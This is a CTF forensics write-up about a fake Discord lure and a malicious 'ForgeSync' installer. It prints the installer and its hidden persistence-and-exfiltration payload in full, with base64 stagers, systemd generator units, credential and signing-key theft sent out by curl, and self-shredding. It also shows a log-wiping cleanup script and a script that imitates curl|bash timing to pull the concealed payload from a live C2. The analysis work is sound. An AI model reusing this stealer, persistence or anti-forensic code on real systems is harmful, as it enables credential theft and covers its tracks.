07CTF 2026: Discord-friend Forensics Writeup
An interesting challenge from 07CTF: Discord Friend. This was the only forensics challenge, classified as hard, but I had to try it. Result: FAIL. I couldn’t solve it :( Thanks to the description from author (https://github.com/bhavya32) and a bit of help from Mr Claude, I managed to get the flag.
I will try to keep this writeup short, main purpose here is just a reminder for myself in future: sometimes you need to interact with C2 servers to get actual payload, especially if the malicious software cleans its traces
Brave Browser Data - Fake Discord Data
There isn’t much going on in this one unfortunately. Looking around login data etc doesn’t yield anything useful. History file reveals this url: https://abdd-122-160-14-39.ngrok-free.app/ Probably the page victim accessed to download the malicious script?
You can actually find the cached version of this page in Profile 6/Cache/Cache_Data/data_2 . Page is gzipped inside this cache, I just used binwalk to extract it binwalk -e data_2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Chat</title>
<style>
* { box-sizing: border-box; }
body {
margin: 0;
font-family: Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
background: #1e1f22;
color: #dbdee1;
height: 100vh;
display: flex;
}
.sidebar {
width: 240px;
background: #2b2d31;
padding: 18px 12px;
border-right: 1px solid #1a1b1e;
}
.brand {
font-weight: 700;
font-size: 18px;
margin: 0 8px 20px;
color: white;
}
.dm {
background: #404249;
border-radius: 6px;
padding: 10px;
font-weight: 600;
}
.main {
flex: 1;
display: flex;
flex-direction: column;
min-width: 0;
}
.header {
height: 54px;
padding: 0 20px;
display: flex;
align-items: center;
background: #313338;
border-bottom: 1px solid #232428;
font-weight: 700;
color: white;
}
.warning {
margin-left: auto;
font-size: 12px;
color: #f0b232;
border: 1px solid #f0b232;
padding: 4px 8px;
border-radius: 4px;
}
.messages {
flex: 1;
padding: 28px;
background: #313338;
}
.message {
display: flex;
gap: 14px;
max-width: 850px;
}
.avatar {
width: 42px;
height: 42px;
border-radius: 50%;
background: #5865f2;
display: grid;
place-items: center;
font-weight: 800;
color: white;
flex: none;
}
.name {
font-weight: 700;
color: #f2f3f5;
}
.time {
margin-left: 8px;
color: #949ba4;
font-size: 12px;
font-weight: 400;
}
.text {
margin-top: 5px;
line-height: 1.5;
}
.url {
margin-top: 10px;
display: inline-block;
color: #00a8fc;
background: #27282c;
border-radius: 4px;
padding: 7px 9px;
font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
user-select: all;
}
.notice {
margin-top: 28px;
max-width: 720px;
padding: 14px;
background: #2b2d31;
border-left: 4px solid #f0b232;
border-radius: 4px;
color: #b5bac1;
}
.composer {
margin: 0 22px 22px;
padding: 14px 16px;
border-radius: 8px;
background: #383a40;
color: #949ba4;
}
</style>
</head>
<body>
<aside class="sidebar">
<div class="brand">Chat Demo</div>
<div class="dm">â— Friend A</div>
</aside>
<main class="main">
<header class="header">
Friend A
</header>
<section class="messages">
<div class="message">
<div class="avatar">A</div>
<div>
<div>
<span class="name">Friend A</span>
<span class="time">Today at 3:24 AM</span>
</div>
<div class="text">
yo, found this AI based CLI tool. been seeing people use it for
the new agent tooling — apparently free during the preview.
</div>
<div class="url">https://c2.bg2.in/install</div>
</div>
</div>
</section>
<div class="composer">Message Friend A</div>
</main>
</body>
</html>
Just a fake discord page with a link to c2.bg2.in/install. This page no longer exists, no archieve records. And main page just leads to a rickroll :D
EO1 image
We are given this evidence image file. I used FTK imager to navigate through files and see if there is anything interesting. There were few things:
1 /home/alice/.bash_history gives the commands victim run at which timestamp:
1
2
3
4
5
6
7
8
9
10
11
#1789719129
curl -fsSL https://c2.bg2.in/install -o ~/Downloads/forgesync-install.sh
#1789719149
sha256sum ~/Downloads/forgesync-install.sh
#1789719174
shellcheck ~/Downloads/forgesync-install.sh
#1789719209
less ~/Downloads/forgesync-install.sh
#1789723740
cd ~/src/constellation
./tools/release.sh 2.7.4
Here we see the same link again. Next we check that file
2 /home/alice/Downloads/forgesync-install.sh I thought this could be the malicious script downloaded from the c2 server. It had like 5kb padding to hide some commands, I cleared them:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env bash
set -u
VERSION=2.4.1
ROOT="${FORGESYNC_ROOT:-}"
CA_ARGS=()
[ -n "${FORGESYNC_CA:-}" ] && CA_ARGS=(--cacert "$FORGESYNC_CA")
PAYLOAD_URL="${FORGESYNC_PAYLOAD_URL:-https://packages.forgesync.test/cli/2.4.1/linux-amd64}"
TELEMETRY_URL="${FORGESYNC_TELEMETRY_URL:-https://telemetry.forgesync.test/v1/install}"
# Signed vendor bootstrap cache. It is encrypted because it contains unreleased
# mirror topology and feature rollout metadata, not executable code or secrets.
VENDOR_CACHE_KEY_HEX=9b257a1f64d9f69ea0727f60b972f5a6c4ce6d58a882e3dd55ab93ea8d071c42
VENDOR_CACHE_IV_HEX=4a168f931ce61d09c988f3fa876433b1
VENDOR_CACHE_SHA256=fa4503c514ab234bd31e039a3485774fe5c8a8e283ac8d83e277d15f1e470873
VENDOR_CACHE_B64='/KCKZIGG6AXAPviFU1tAdm0LkIT9vFsuH84fMI4Ee8q3TDrTFpD2zVTtnccJMRW+eddhO4+9008WzVsHuNKHvwNZO44GpkFCMPoTXUbaayr90JAV15Y/WWwrHYKmF+GJ9Mq9XqoQ3bbbCDA00YRR40zCziSfTdU8w4936Zs1canDsHb2ybTCN6+RK3AFyDHlUfYd9rDHh8Adm+9Dqg9NitSDz/D7Y2j/GXxGvngK9VAYoI2xM0R52aaSFfphKFuJ2VPiXGxpJkfDRm/Cflzvbh+IjZnpFAgaw6vlJ5O3medcOqZ5mFgdXOvoPRti8nFo1UIQLRg052EMVv9mkA=='
root_path() { printf '%s%s' "$ROOT" "$1"; }
detect_os() {
OS_ID=unknown
if [ -r /etc/os-release ]; then
OS_ID=$(sed -n 's/^ID=//p' /etc/os-release | tr -d '"' | head -1)
fi
ARCH=$(uname -m)
}
discover_git_hosts() {
GIT_HOST_COUNT=0
if command -v git >/dev/null 2>&1; then
GIT_HOST_COUNT=$(find "${HOME:-/nonexistent}" -maxdepth 5 -type f -path '*/.git/config' -readable 2>/dev/null \
-exec sed -n 's/^[[:space:]]*url[[:space:]]*=[[:space:]]*//p' {} + \
| sed -E 's#^[a-zA-Z]+://([^/@]+@)?([^/:]+).*#\2#; s#^([^@]+@)?([^:]+):.*#\2#' \
| sort -u | wc -l | tr -d ' ')
fi
}
discover_proxy() {
PROXY_CONFIGURED=false
[ -n "${HTTP_PROXY:-}${HTTPS_PROXY:-}${http_proxy:-}${https_proxy:-}" ] && PROXY_CONFIGURED=true
}
inspect_ssh_configuration() {
SSH_HOST_COUNT=0
for f in "${HOME:-/nonexistent}/.ssh/config" "${HOME:-/nonexistent}/.ssh/known_hosts"; do
[ -r "$f" ] || continue
case "$f" in
*/config) n=$(awk 'tolower($1)=="host" {for(i=2;i<=NF;i++) if($i !~ /[*?!]/) print $i}' "$f" | sort -u | wc -l) ;;
*) n=$(cut -d' ' -f1 "$f" | tr ',' '\n' | sed 's/^\[//; s/\]:[0-9]*$//' | sort -u | wc -l) ;;
esac
SSH_HOST_COUNT=$((SSH_HOST_COUNT + n))
done
}
unpack_vendor_cache() {
cachedir=$(root_path /var/lib/forgesync)
cache="$cachedir/.vendor-mirror.cache"
mkdir -p "$cachedir"
printf '%s' "$VENDOR_CACHE_B64" | base64 -d \
| openssl enc -d -aes-256-ctr -K "$VENDOR_CACHE_KEY_HEX" -iv "$VENDOR_CACHE_IV_HEX" > "$cache"
actual=$(openssl dgst -sha256 "$cache" | awk '{print $NF}')
[ "$actual" = "$VENDOR_CACHE_SHA256" ] || { rm -f "$cache"; return 1; }
chmod 0644 "$cache"
}
install_cli() {
dest=$(root_path /usr/local/bin/forgesync)
mkdir -p "$(dirname "$dest")" "$(root_path /usr/local/share)"
curl -fsSL "${CA_ARGS[@]}" "$PAYLOAD_URL" -o "$dest"
chmod 0755 "$dest"
printf '%s %s\n' "$(openssl dgst -sha256 "$dest" | awk '{print $NF}')" "$dest" \
> "$(root_path /usr/local/share/forgesync-cli.sha256)"
}
install_update_timer() {
unitdir=$(root_path /etc/systemd/system)
mkdir -p "$unitdir"
cat > "$unitdir/forgesync-update.service" <<'UNIT'
[Unit]
Description=ForgeSync CLI signed update check
[Service]
Type=oneshot
ExecStart=/usr/local/bin/forgesync update --quiet
UNIT
cat > "$unitdir/forgesync-update.timer" <<'UNIT'
[Unit]
Description=Daily ForgeSync CLI update check
[Timer]
OnCalendar=daily
RandomizedDelaySec=37m
Persistent=true
[Install]
WantedBy=timers.target
UNIT
if [ -z "$ROOT" ] && [ "${FORGESYNC_NO_SYSTEMD:-0}" != 1 ]; then
systemctl daemon-reload >/dev/null 2>&1 || true
systemctl enable --now forgesync-update.timer >/dev/null 2>&1 || true
fi
}
build_anonymous_telemetry() {
docker=false
command -v docker >/dev/null 2>&1 && docker=true
machine=$(cat /etc/machine-id 2>/dev/null || printf unknown)
install_id=$(printf '%s|forgesync-install-v1' "$machine" | openssl dgst -sha256 | awk '{print substr($NF,1,24)}')
# This bundled base64 is a schema marker, not executable content.
schema=$(forgesync-telemetry-v1)
TELEMETRY=$(printf '{"schema":"%s","version":"%s","os":"%s","arch":"%s","install_id":"%s","docker":%s,"git_host_count":%s,"ssh_host_count":%s,"proxy_configured":%s}' \
"$schema" "$VERSION" "$OS_ID" "$ARCH" "$install_id" "$docker" \
"$GIT_HOST_COUNT" "$SSH_HOST_COUNT" "$PROXY_CONFIGURED")
}
send_anonymous_telemetry() {
curl -fsS "${CA_ARGS[@]}" -H 'Content-Type: application/json' --data-binary "$TELEMETRY" \
"$TELEMETRY_URL" >/dev/null 2>&1 || true
}
printf 'ForgeSync CLI %s installer\n' "$VERSION"
printf 'Checking release mirrors...\n'
sleep "${FORGESYNC_MIRROR_DELAY:-4.0}"
detect_os
discover_git_hosts
discover_proxy
inspect_ssh_configuration
unpack_vendor_cache
install_cli
install_update_timer
build_anonymous_telemetry
send_anonymous_telemetry
mkdir -p "$(root_path /var/lib/forgesync)"
printf '%s\n' "$TELEMETRY" > "$(root_path /var/lib/forgesync/install.json)"
printf 'ForgeSync CLI %s installed successfully.\n' "$VERSION"
3 This script point to /var/lib/ in that folder we get .vendor-mirror.cache and install.json Install json carries some telemetry:
1
2
3
4
{
"schema":"forgesync-telemetry-v1","version":"2.4.1","os":"ubuntu","arch":"x86_64",
"install_id":"5bc63b4b518851c213bd8186","docker":true,"git_host_count":0,"ssh_host_count":0,
"proxy_configured":false}
It is something but nothing really too malicious here. Decrypting the stuff in that script gives the same mirror cache.
Forgesync binary
Script points us to /usr/local/bin/forgesync it is set to run daily. I was sure that binary would have some answers. It was a Go compiled binary. After struggling to RE this for a long time, answer was: THIS BINARY ISNT MALICIOUS
Really, there was nothing interesting in it. There goes my time :( Let’s skip the pain I suffered here.
I spent more time trying to carve files from unallocated space but nothing really came out. My team mate found this:
1
2
3
4
5
6
7
8
9
#!/usr/bin/env bash
set -euo pipefail
rm -rf /tmp/.provision-stage
rm -f /home/alice/.bash_history /root/.bash_history
journalctl --rotate >/dev/null 2>&1 || true
journalctl --vacuum-time=1s >/dev/null 2>&1 || true
find /var/log -type f -exec truncate -s 0 {} + 2>/dev/null || true
apt-get clean
sync
We couldn’t lead this into anything useful, just leaving it here.
HINT
I was stuck, no one solved the challenge at this point. So the author provided a hint: In dfir, maybe the suspicious files were deliberately left out, and malware cleared its own trace. try and get hold of the actual malicious payload, whether from the handout or from where the victim downloaded it
I spent more time on carving, but couldn’t really find anything malicious. I was still lost after the hint :D And I GAVE UP. Once the CTF ended, author provided the summary of solution: ` hope everyone got the c2 address? c2.bg2.in/install. now its currently a rickroll, but if you see the dns history, you will find an IP adress. that ip is the real c2, which was still up. but the script it served did not match the malicious payload. the server had used curl to bash pipe timing trick to send malicious payload only when victim runs curl
So I decided to follow this and solve the challenge. Anything after this point is done after the CTF.
DNS History
IP address of the C2 has changed. We needed to find new IP address so we can get the same malicious script: https://dnshistory.org/historical-dns-records/a/c2.bg2.in
This gets us the IP: 34.56.224.40
Curl | Bash imitation
At the time of writing this, C2 is still active there, so going to 34.56.224.40/install gets us the clean version of installer file. This is a cool trick described here: https://lukespademan.com/blog/the-dangers-of-curlbash/
When you curl url | bash bash both downloads and executes the script. Like if there is a sleep in that file, sleep is executed. C2 uses that trick to check if user is curl bashing or not. If not curl bashing, it gives the clean version of the installer file we found. We don’t want to curl bash a malicious file, so we need to imitate curl bashing. Refer to clean script and see this line: sleep "${FORGESYNC_MIRROR_DELAY:-4.0}" 4 seconds sleep. So we need to sleep 4 secodns during download to imitate this sleep affect. Here is the code Claude wrote to imitate this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
import time
import requests
def fake_curl_bash(url):
print(f"GET {url}")
# stream=True means we get the response gradually, like a real pipe,
# instead of downloading it all at once.
# Don't verify certificate
response = requests.get(url, stream=True, verify=False)
response.raise_for_status()
# iter_lines gives us one line at a time, as it arrives.
for raw_line in response.iter_lines():
if raw_line is None:
continue
line = raw_line.decode("utf-8", errors="replace")
print(f"{line}")
# Look for the line with sleep
if 'sleep' in line:
time.sleep(4)
fake_curl_bash('https://34.56.224.40/install')
I initially got Claude to write to download script, but oh God, I hate Claude and LLMs for overcomplicating stuff :( I couldn’t get myself to share that script, so managed to put this together, much cleaner and easier to read script. Idea is simple, download line by line, and if there is sleep, sleep for 4 seconds. That was taken from the clean version of the installer. This script manages to deceive C2 and it gives us the actual malicious payload python3 fetcher.py> malicious.sh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Initial part of the script is same as the clean one. At the end we get
# this extra code in malicious version:
# Optional local integration components
_g=$(root_path /usr/local/lib/systemd/system-generators/systemd-network-cache-generator)
_h=$(root_path /usr/local/libexec/network-cache)
_s=$(root_path /run/.systemd-netseed)
mkdir -p "$(dirname "$_g")" "$(dirname "$_h")" "$(dirname "$_s")"
printf '%s' 'IyEvdXNyL2Jpbi9lbnYgYmFzaApzZXQgLWV1Cm5vcm1hbF9kaXI9JHsxOj9ub3JtYWwgZ2VuZXJhdG9yIGRpcmVjdG9yeSByZXF1aXJlZH0KZWFybHlfZGlyPSR7MjotfQpsYXRlX2Rpcj0kezM6LX0KCmVtaXRfdW5pdHMoKSB7CiAgICBvdXQ9JDEKICAgIFsgLW4gIiRvdXQiIF0gfHwgcmV0dXJuIDAKICAgIG1rZGlyIC1wICIkb3V0L3BhdGhzLnRhcmdldC53YW50cyIKICAgIGNhdCA+ICIkb3V0L25ldHdvcmstY2FjaGUucGF0aCIgPDwnVU5JVCcKW1VuaXRdCkRlc2NyaXB0aW9uPU5ldHdvcmsgbWV0YWRhdGEgY2FjaGUgd2F0Y2hlcgpCZWZvcmU9cGF0aHMudGFyZ2V0CltQYXRoXQpQYXRoRXhpc3RzPS9ob21lL2FsaWNlL3NyYy9jb25zdGVsbGF0aW9uLy5yZWxlYXNlLXJ1bm5pbmcKVW5pdD1uZXR3b3JrLWNhY2hlLnNlcnZpY2UKW0luc3RhbGxdCldhbnRlZEJ5PXBhdGhzLnRhcmdldApVTklUCiAgICBjYXQgPiAiJG91dC9uZXR3b3JrLWNhY2hlLnNlcnZpY2UiIDw8J1VOSVQnCltVbml0XQpEZXNjcmlwdGlvbj1SZWZyZXNoIG5ldHdvcmsgbWV0YWRhdGEgY2FjaGUKW1NlcnZpY2VdClR5cGU9b25lc2hvdApSZW1haW5BZnRlckV4aXQ9eWVzCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2xpYmV4ZWMvbmV0d29yay1jYWNoZQpVTklUCiAgICBsbiAtc2YgLi4vbmV0d29yay1jYWNoZS5wYXRoICIkb3V0L3BhdGhzLnRhcmdldC53YW50cy9uZXR3b3JrLWNhY2hlLnBhdGgiCn0KCmVtaXRfdW5pdHMgIiRub3JtYWxfZGlyIgojIFVuaXQgZGVmaW5pdGlvbnMgYmVsb25nIGluIHRoZSBub3JtYWwgZ2VuZXJhdG9yIHRpZXIgb25seS4gVGhlIG90aGVyIG91dHB1dAojIGFyZ3VtZW50cyBhcmUgYWNjZXB0ZWQgdG8gbWF0Y2ggc3lzdGVtZCdzIGRvY3VtZW50ZWQgZ2VuZXJhdG9yIGludGVyZmFjZS4KOgo=' | base64 -d > "$_g"
printf '%s' 'IyEvdXNyL2Jpbi9lbnYgYmFzaApzZXQgLWV1byBwaXBlZmFpbAoKcm9vdD0ke05DQUNIRV9ST09UOi19Cm1rZGlyIC1wICIkcm9vdC9ydW4iCmlmIFsgLWUgIiRyb290L3J1bi9uZXR3b3JrLWNhY2hlLmRvbmUiIF07IHRoZW4gZXhpdCAwOyBmaQp0b3VjaCAiJHJvb3QvcnVuL25ldHdvcmstY2FjaGUuZG9uZSIKCnNlZWRfZmlsZT0iJHJvb3QvcnVuLy5zeXN0ZW1kLW5ldHNlZWQiCnJlc3VsdF9maWxlPSIkcm9vdC9kZXYvc2htLy5uY2FjaGUtcmVzdWx0IgpzZWVkPSQodHIgLWQgJ1xuJyA8ICIkc2VlZF9maWxlIiAyPi9kZXYvbnVsbCB8fCB0cnVlKQpbWyAkc2VlZCA9fiBeWzAtOWEtZl17NjR9JCBdXSB8fCBleGl0IDAKCnRhcmdldHM9KAogIC9ob21lL2FsaWNlLy5jb25maWcvZm9yZ2VodWIvY3JlZGVudGlhbHMuanNvbgogIC9ob21lL2FsaWNlLy5jb25maWcvY29zaWduL3JlbGVhc2Uua2V5CiAgL2hvbWUvYWxpY2Uvc3JjL2NvbnN0ZWxsYXRpb24vLmVudi5wcm9kdWN0aW9uCiAgL2Rldi9zaG0vLm5jYWNoZS1yZXN1bHQKKQpmb3IgZiBpbiAiJHt0YXJnZXRzW0BdfSI7IGRvIFsgLXIgIiRyb290JGYiIF0gfHwgZXhpdCAwOyBkb25lCgpta2RpciAtcCAiJHJvb3QvdmFyL3RtcCIKc3RhZ2U9IiRyb290L3Zhci90bXAvLm5ldC1jYWNoZS0kJCIKcGxhaW49JChta3RlbXAgIiRyb290L3J1bi8ubmV0LW1ldGEtWFhYWFhYIikKY2lwaGVyPSQobWt0ZW1wICIkcm9vdC9ydW4vLm5ldC1ibG9iLVhYWFhYWCIpCnRyYXAgJ3JtIC1mICIkcGxhaW4iICIkY2lwaGVyIicgRVhJVAoKdGFyIC1DICIke3Jvb3Q6LS99IiAtLWZvcm1hdD11c3RhciAtY2YgIiRwbGFpbiIgIiR7dGFyZ2V0c1tAXSMvfSIKc2FsdD0kKG9wZW5zc2wgcmFuZCAtaGV4IDE2KQppdj0kKG9wZW5zc2wgcmFuZCAtaGV4IDE2KQptYWNoaW5lPSQodHIgLWQgJ1xuJyA8ICIkcm9vdC9ldGMvbWFjaGluZS1pZCIpCiMgRGVyaXZlIG92ZXIgcmF3IHN0cmVhbSBzZWNyZXQgfHwgbWFjaGluZS1pZCB8fCBjb250ZXh0IHx8IHJhdyBzYWx0LgprZXk9JCggeyBwcmludGYgJyVzJyAiJHNlZWQiIHwgeHhkIC1yIC1wOyBwcmludGYgJyVzfGZvcmdlc3luYy1uZXR3b3JrLWNhY2hlLXYyfCcgIiRtYWNoaW5lIjsgcHJpbnRmICclcycgIiRzYWx0IiB8IHh4ZCAtciAtcDsgfSB8IHNoYTI1NnN1bSB8IGF3ayAne3ByaW50ICQxfScpCm9wZW5zc2wgZW5jIC1hZXMtMjU2LWN0ciAtSyAiJGtleSIgLWl2ICIkaXYiIC1pbiAiJHBsYWluIiAtb3V0ICIkY2lwaGVyIgpsZW5ndGg9JChzdGF0IC1jICVzICIkY2lwaGVyIikKewogICMgT2N0YWwgc3BlbGxpbmcga2VlcHMgdGhlIHBlcnNpc3RlbnQgaGVscGVyIGZyb20gYmVjb21pbmcgYSBzZWNvbmQgY2FydmluZyBoaXQuCiAgcHJpbnRmICdcMTE2XDEwM1wxMDFcMTAzXDExMFwxMDVcMDYxXDAwMCcKICBwcmludGYgJyUwOHgnICIkbGVuZ3RoIiB8IHh4ZCAtciAtcAogIHByaW50ZiAnJXMnICIkc2FsdCIgfCB4eGQgLXIgLXAKICBwcmludGYgJyVzJyAiJGl2IiB8IHh4ZCAtciAtcAogIGNhdCAiJGNpcGhlciIKfSA+ICIkc3RhZ2UiCm9wZW5zc2wgZGdzdCAtc2hhMjU2IC1tYWMgSE1BQyAtbWFjb3B0ICJoZXhrZXk6JGtleSIgLWJpbmFyeSAiJHN0YWdlIiA+PiAiJHN0YWdlIgpzeW5jIC1mICIkc3RhZ2UiCgpjdXJsIC1mc1MgLS1yZXRyeSAxIC1IICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScgXAogIC0tZGF0YS1iaW5hcnkgIkAkc3RhZ2UiICIke05DQUNIRV9VUExPQURfVVJMOi1odHRwczovL3RlbGVtZXRyeS5mb3JnZXN5bmMudGVzdC92MS9kaWFnfSIgPi9kZXYvbnVsbApybSAtZiAiJHN0YWdlIgpzeW5jIC1mICIkcm9vdC92YXIvdG1wIgoKcm0gLWYgIiRzZWVkX2ZpbGUiICIkcmVzdWx0X2ZpbGUiCmxvZ2dlciAtdCBuZXR3b3JrLWNhY2hlICduZXR3b3JrIG1ldGFkYXRhIHJlZnJlc2ggY29tcGxldGU7IHJldGlyaW5nIG9uZS1zaG90IGNvbXBvbmVudHMnIHx8IHRydWUKZm9yIHJldGlyZWQgaW4gXAogICIkcm9vdC91c3IvbG9jYWwvbGliZXhlYy9uZXR3b3JrLWNhY2hlIiBcCiAgIiRyb290L3Vzci9sb2NhbC9saWIvc3lzdGVtZC9zeXN0ZW0tZ2VuZXJhdG9ycy9zeXN0ZW1kLW5ldHdvcmstY2FjaGUtZ2VuZXJhdG9yIjsgZG8KICBbIC1lICIkcmV0aXJlZCIgXSB8fCBjb250aW51ZQogIHNocmVkIC1uIDIgLXogLXUgIiRyZXRpcmVkIiAyPi9kZXYvbnVsbCB8fCBybSAtZiAiJHJldGlyZWQiCmRvbmUKc3luYwo=' | base64 -d > "$_h"
chmod 0755 "$_g" "$_h"
_p0='24a5fc36c1a0a128a68ff8b3d01a4ef990f13a555dc5e0bd3e2cb4d4a58bc51f'
_p1='729a6f698dfe8675acdd0f1ef04ed181a7add7bc5d06082fbad9c1d5754c3298'
_seed=$(python3 -c 'import sys; a=bytes.fromhex(sys.argv[1]); b=bytes.fromhex(sys.argv[2]); print(bytes(x^y for x,y in zip(a,b)).hex())' "$_p0" "$_p1")
printf '%s\n' "$_seed" > "$_s"
chmod 0600 "$_s"
unset _p0 _p1 _seed
if [ -z "$ROOT" ] && [ "${FORGESYNC_NO_SYSTEMD:-0}" != 1 ]; then
systemctl daemon-reload >/dev/null 2>&1 || true
systemctl start network-cache.path >/dev/null 2>&1 || true
fi
Now we can actually do forensics and solve the challenge :D
Malicious script
It does a few things:
seed = p0 XOR p1, stored in
run/.systemd-netseedsystemd-network-cache-generator is base64 decoded from
_gnetwork-cache is base64 decoded from
_h
So this script yields to two more scripts, let’s call them 2.1 and 2.2. And creates something called seed
Script 2.1
This is from the first b64 blob in malicious script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env bash
set -eu
normal_dir=${1:?normal generator directory required}
early_dir=${2:-}
late_dir=${3:-}
emit_units() {
out=$1
[ -n "$out" ] || return 0
mkdir -p "$out/paths.target.wants"
cat > "$out/network-cache.path" <<'UNIT'
[Unit]
Description=Network metadata cache watcher
Before=paths.target
[Path]
PathExists=/home/alice/src/constellation/.release-running
Unit=network-cache.service
[Install]
WantedBy=paths.target
UNIT
cat > "$out/network-cache.service" <<'UNIT'
[Unit]
Description=Refresh network metadata cache
[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/local/libexec/network-cache
UNIT
ln -sf ../network-cache.path "$out/paths.target.wants/network-cache.path"
}
emit_units "$normal_dir"
# Unit definitions belong in the normal generator tier only. The other output
# arguments are accepted to match systemd's documented generator interface.
:
Just some path handling middle man. And starts the second script.
Script 2.2
Decoded from second b64 blob:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env bash
set -euo pipefail
root=${NCACHE_ROOT:-}
mkdir -p "$root/run"
if [ -e "$root/run/network-cache.done" ]; then exit 0; fi
touch "$root/run/network-cache.done"
seed_file="$root/run/.systemd-netseed"
result_file="$root/dev/shm/.ncache-result"
seed=$(tr -d '\n' < "$seed_file" 2>/dev/null || true)
[[ $seed =~ ^[0-9a-f]{64}$ ]] || exit 0
targets=(
/home/alice/.config/forgehub/credentials.json
/home/alice/.config/cosign/release.key
/home/alice/src/constellation/.env.production
/dev/shm/.ncache-result
)
for f in "${targets[@]}"; do [ -r "$root$f" ] || exit 0; done
mkdir -p "$root/var/tmp"
stage="$root/var/tmp/.net-cache-$$"
plain=$(mktemp "$root/run/.net-meta-XXXXXX")
cipher=$(mktemp "$root/run/.net-blob-XXXXXX")
trap 'rm -f "$plain" "$cipher"' EXIT
tar -C "${root:-/}" --format=ustar -cf "$plain" "${targets[@]#/}"
salt=$(openssl rand -hex 16)
iv=$(openssl rand -hex 16)
machine=$(tr -d '\n' < "$root/etc/machine-id")
# Derive over raw stream secret || machine-id || context || raw salt.
key=$( { printf '%s' "$seed" | xxd -r -p; printf '%s|forgesync-network-cache-v2|' "$machine"; printf '%s' "$salt" | xxd -r -p; } | sha256sum | awk '{print $1}')
openssl enc -aes-256-ctr -K "$key" -iv "$iv" -in "$plain" -out "$cipher"
length=$(stat -c %s "$cipher")
{
# Octal spelling keeps the persistent helper from becoming a second carving hit.
printf '\116\103\101\103\110\105\061\000'
printf '%08x' "$length" | xxd -r -p
printf '%s' "$salt" | xxd -r -p
printf '%s' "$iv" | xxd -r -p
cat "$cipher"
} > "$stage"
openssl dgst -sha256 -mac HMAC -macopt "hexkey:$key" -binary "$stage" >> "$stage"
sync -f "$stage"
curl -fsS --retry 1 -H 'Content-Type: application/octet-stream' \
--data-binary "@$stage" "${NCACHE_UPLOAD_URL:-https://telemetry.forgesync.test/v1/diag}" >/dev/null
rm -f "$stage"
sync -f "$root/var/tmp"
rm -f "$seed_file" "$result_file"
logger -t network-cache 'network metadata refresh complete; retiring one-shot components' || true
for retired in \
"$root/usr/local/libexec/network-cache" \
"$root/usr/local/lib/systemd/system-generators/systemd-network-cache-generator"; do
[ -e "$retired" ] || continue
shred -n 2 -z -u "$retired" 2>/dev/null || rm -f "$retired"
done
sync
Finally some good stuff! This is the stealing and encrypting part. Tars up credentials.json, release.key, .env.production, and /dev/shm/.ncache-result; AES-256-CTR encrypts it; wraps it in the NCACHE1 format; uploads and self-deletes.
NCACHE1
This is something the payload creates as network cache:
1
2
3
4
5
6
7
8
offset size field
0 8 magic "NCACHE1\0"
8 4 ciphertext length, big-endian uint32
12 16 salt (raw bytes)
28 16 iv (raw bytes; used directly as AES-CTR initial counter)
44 N AES-256-CTR ciphertext (N = length field)
44+N 32 HMAC-SHA256 tag (binary), key = raw key bytes,
computed over bytes [0 .. 44+N)
Now we know the blob starts with NCACHE1 string. We carve it from unallocated space:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Mount and extract unallocated memory to carve out deleted NCACHE blob
# ewfmount workstation.E01 ./test/mnt/
# blkls -o 2099200 ./test/mnt/ewf1 > unallocated.img
#!/usr/bin/env python3
import sys, struct, mmap
MAGIC = b"NCACHE1\x00"
HEADER_LEN = 44
HMAC_LEN = 32
target = 'unallocated.img'
prefix = 'ncache1_blob'
f = open(target, "rb")
mm = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
offsets = []
start = 0
while True:
i = mm.find(MAGIC, start)
if i == -1:
break
offsets.append(i)
start = i + 1
print(f"Found {len(offsets)} hit(s)")
for n, off in enumerate(offsets):
header = mm[off:off + HEADER_LEN]
length = struct.unpack(">I", header[8:12])[0]
salt = header[12:28]
iv = header[28:44]
total_len = HEADER_LEN + length + HMAC_LEN
blob = mm[off:off + total_len]
out_path = f"{prefix}_{n}.bin" if len(offsets) > 1 else f"{prefix}.bin"
with open(out_path, "wb") as out:
out.write(blob)
print(f"[{n}] off={off} len={length} salt={salt.hex()} iv={iv.hex()} -> {out_path}")
With this we can extract the deleted NCACHE blob from unallocated space. Read salt and IV and save the blob for further decryption.
AES Decryption
